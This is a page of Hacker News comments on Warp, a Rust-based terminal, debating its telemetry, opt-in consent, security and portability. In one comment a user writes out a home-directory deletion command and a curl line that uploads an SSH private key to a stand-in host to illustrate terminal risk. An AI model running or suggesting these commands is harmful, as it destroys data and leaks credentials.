Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Warp, a Rust-based terminal

warp.dev

Post reply on HN
Print view View original

721–730 of 757 posts

Re: Show HN: Warp, a Rust-based terminal

#721

Post by zhengt »

kmonsen wrote: post #543
zhengt wrote: post #321

Earlier quoted context omitted.

Totally understand if you don't feel comfortable using it! The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app? We do want to make the telemetry opt-in after Warp is out of beta.

How are you checking if they stick to warp as daily driver? Are you checking for other shells open?

We are seeing if people are using Warp regularly.

We don’t know about any shells outside of Warp so technically, they could also using other terminals - but that’s enough info for our product development.

We never track the contents of commands. A full telemetry table is included in our user docs.

Re: Show HN: Warp, a Rust-based terminal

#722

Post by Hitton »

heavyset_go wrote: post #549
gernb wrote: post #374

Earlier quoted context omitted.

> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal…

> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. You'll be warned if you do the first, and plenty of people are phished via browsers.

>You'll be warned if you do the first.

I don't think so. I dare you to run it.

Re: Show HN: Warp, a Rust-based terminal

#723

Post by jasonlotito »

xenadu02 wrote: post #677
cieplik wrote: post #508

Earlier quoted context omitted.

Hey - in general, yes, we do talk to our Users on a regular about the product (in fact, I first participated in the research session, and only after that decided to join the company). I assume you're asking specifically about discussing telemetry and open source, not only the features. We try to be super open about collecting the data, and published an extensive list of things we report. Most of our users don't mind.…

Why did you not just make telemetry and logins opt-in? That avoids the entire issue from day one. I think that's what is giving people a strange feeling about this. You prioritized your own desires (not needs mind you) rather than your users. And if your thinking is so off that you really think these are needs during the beta then that is even more worrying. If I were in your shoes I'd crunch immediately to make tele…

> Why did you not just make telemetry and logins opt-in?

While I'm not them, I can answer this. Users did ask for this as much as they asked for other things.

> You prioritized your own desires (not needs mind you) rather than your users.

That's an awfully big assumption to make, and one that does not conform to reality.

Re: Show HN: Warp, a Rust-based terminal

#724

Post by PrayagS »

Is it just me or this seems to be an overengineered product? I mean hear me out,

- Workflows - Ever heard of scripts?

- Block editing - That is just vi mode inside bash/zsh.

- Terminal sharing has existed since so long.

- Forming commands - We got tldr for that.

- Fast and GPU accelerated - Open source terminal emulators have cracked that already. See alacritty and kitty for instance.

And on top of all this, when you factor in VC money, I don't see how this product can truly beat its alternatives.

Re: Show HN: Warp, a Rust-based terminal

#725

Post by smt88 »

w1nk wrote: post #685
smt88 wrote: post #662

Earlier quoted context omitted.

> The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer outside the terminal, and just has it's stdio wired to the terminal. As I said in my comment, even if you "wall" the terminal off from the internet, if it can make system calls on behalf of the u…

You're technically correct here due to some sloppy words, but this isn't the point that everyone here is trying to make. We know our terminals can connect to the internet, we don't want them to do that without being instructed to. If our terminals randomly curl'd websites (as opposed to delivering telemetry to a 3rd party), I'm sure the discussion would be similarly displeased.

And what I'm saying is that there's no way to set a terminal's permissions on the host system such that it can access the internet on behalf of the user but cannot access the internet on behalf of its creators.

This is a human problem, not a software one. Your terminal is as trustworthy as its creators. It cannot be locked down to prevent telemetry and still be a useful terminal. That was my original point and it is still true.

No one should use a for-profit terminal emulator, especially one created by a VC-backed startup, full stop.

Re: Show HN: Warp, a Rust-based terminal

#726

Post by steveklabnik »

colonwqbang wrote: post #655
steveklabnik wrote: post #551

Earlier quoted context omitted.

It seems like you’re grouping a bunch of things together and saying I have opinions about them that I don’t. Let’s break them out: workflows I would assume to be portable, yes. It is an assumption. I generally expect program configuration to be mostly cross platform by default. I’m not sure what a program written for a particular terminal would be, so I’m not sure if I’d assume portability or not. Shells are not ubiq…

Ok, maybe I misunderstand what a "workflow" is. Since we are talking about replacing shell scripts with "workflows", I assumed that they are a kind of programming facility of about similar power as shell scripts. But that may be incorrect. > You aren't the one porting Warp, but you are the one porting the shell script. It sounds like your are saying somthing like "Warp scripts/workflows require almost no effort to po…

I may also be too; like I said, I haven't used Warp yet. Just read their docs. "Workflows" are described in their docs as effectively 'aliases with better docs that integrate with a search bar', and are defined in a YAML file. They don't actually show said YAML file, so I don't know how complex they are. If they give you the full power of the underlying shell, then yeah, you're back at the exact same problem, but if it's stuff like "invoke this program with this set of arguments," which is what their examples seem like, then I'd expect it to work with any shell as long as that program is installed.

> Perhaps my interpretation was wrong.

And perhaps mine is. The docs aren't in-depth and I don't own a Mac. But really, ultimately, "are workflows more portable" isn't a question I personally am wed to; it's that "shell scripts are only portable via UNIXes and there's a much bigger world out there" that I am, and I am hoping that workflows are more portable than shell scripts. In practice, they may be, or they may not be, but since they're in a layer above the shell, it's possible that they're not shell-specific.

Re: Show HN: Warp, a Rust-based terminal

#728

Post by Siira »

scottlamb wrote: post #351
wildmanx wrote: post #262

Earlier quoted context omitted.

> This means we ended up building completions by hand and soon, via the community. You like people to contribute for free ("build a community") but refuse to give them an actual FOSS client. This is bound to fail. There are ways to make this go both ways though, and I hope you'll make them work once you are a bit further along in your journey. Exciting project!

Meh, I could be into it without them providing a FOSS implementation. Think of Microsoft's language server protocol. It's nice that VS Code is open source, but even if it weren't, we might still be using this protocol with rust-analyzer and neovim. Or any number of older protocols/formats with RFCs that didn't start with good FOSS implementations. In the case of completion, if you can generate (less rich but still us…

There exists multiple fully functional FOSS LSP clients. The semi-proprietariness of VS Code does not doom LSP.

The documentation people would contribute to Warp though are unlikely to have any popular FOSS clients.

Re: Show HN: Warp, a Rust-based terminal

#729

Post by [deleted] »

encryptluks2 wrote: post #420
throw10920 wrote: post #407

Earlier quoted context omitted.

Automated tests are completely useless for finding (let alone solving ) human interaction issues. To compare them with telemetry is a category error.

Shouldn't human interaction errors be left up to the user to report, as opposed to software sending sensitive information to a third-party?

[deleted]

Re: Show HN: Warp, a Rust-based terminal

#730

Post by bradwood »

kobalsky wrote: post #582
eddieroger wrote: post #574

Earlier quoted context omitted.

pbcopy/pbpaste are gems that more Mac users need to know about. A command line interface for your clipboard is invaluable and really ties together jumps from UI to CLI. Regarding the other thoughts in this post, I have to agree. I use iTerm instead of Terminal.app, but if I had even the remotest fear that it was sending anything elsewhere, I would jump ship. My terminal has all kinds of information that can act on my…

I use them from my linux workstation as a poor man's access to apple's universal clipboard. echo -n something | ssh my-mac pbcopy then I can paste on my phone.

Try this: https://github.com/bradwood/glsnip

Disclaimer: I wrote it

Post reply on HN